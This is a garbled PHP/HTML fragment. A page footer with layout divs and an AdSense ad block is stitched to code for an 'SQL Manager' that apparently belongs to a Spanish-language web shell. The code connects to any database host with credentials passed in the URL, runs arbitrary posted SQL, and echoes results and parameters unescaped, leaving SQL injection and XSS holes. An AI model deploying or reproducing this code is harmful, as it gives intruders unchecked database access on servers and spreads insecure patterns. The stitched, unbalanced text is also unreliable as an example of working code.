/images/content/border-1.gif);"></div> <div class="CornerWrapper-b"><div class="Corner-bl" style="background-image:url(<?php echo "{$layout_name}"; ?> /images/content/corner-bl.gif);"></div></div> <div class="CornerWrapper-b"><div class="Corner-br" style="background-image:url(<?php echo "{$layout_name}"; ?> /images/content/corner-br.gif);"></div></div> </div> </div> </div> <?php echo creditos(); ?> <center> <script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script> <!-- Anuncio4 --> <ins class="adsbygoogle" style="display:inline-block;width:728px;height:90px" data-ad-client="ca-pub-4254262349718636" data-ad-slot="1837723302"></ins> <script> (adsbygoogle = window.adsbygoogle || []).push({}); </script> </center> </div>
$mysql = mysql_connect($_GET['host'], $_GET['usuario'], $_GET['password']); mysql_select_db($_GET['condb']); echo "<br><center><h2>SQL Manager</h2>\n<br><br>\n<form action='' method=POST>\n<b>Consulta SQL : </b><input type=text name=sentencia size=70 value='select * from " . $_GET['datear'] . "'>\n<br><br><br> \n<input type=hidden name=host value=" . $_GET['host'] . ">\n<input type=hidden name=usuario value=" . $_GET['usuario'] . ">\n<input type=hidden name=password value=" . $_GET['password'] . ">\n<input type=hidden name=condb value=" . $_GET['database'] . ">\n<input type=hidden name=entertable value=" . $_GET['tabla'] . ">\n<input type=submit name=mostrar value=eNViar>\n</form>\n<br><br><br><br><br>"; $conexion = mysql_connect($_GET['host'], $_GET['usuario'], $_GET['password']) or die("<h1>Error</h1>"); mysql_select_db($_GET['condb']); if (isset($_POST['mostrar'])) { if (!empty($_POST['sentencia'])) { $resultado = mysql_query($_POST['sentencia']); } else { $resultado = mysql_query("SELECT * FROM " . $_GET['entertable']); } $numer = 0; echo "<table>"; for ($i = 0; $i < mysql_num_fields($resultado); $i++) { echo "<th class=main>" . mysql_field_name($resultado, $i) . "</th>"; $numer++; } while ($dat = mysql_fetch_row($resultado)) { echo "<tr>"; foreach ($dat as $val) { echo "<td class=main>" . $val . "</td>"; } } echo "</tr></table>"; } } creditos(); } else { echo "\n<form action='' method=POST>\nUsername : <input type=text name=user><br>\nPassword : <input type=text name=pass><br><br>\n<input type=submit value=Login>\n</form>\n"; } // The End ?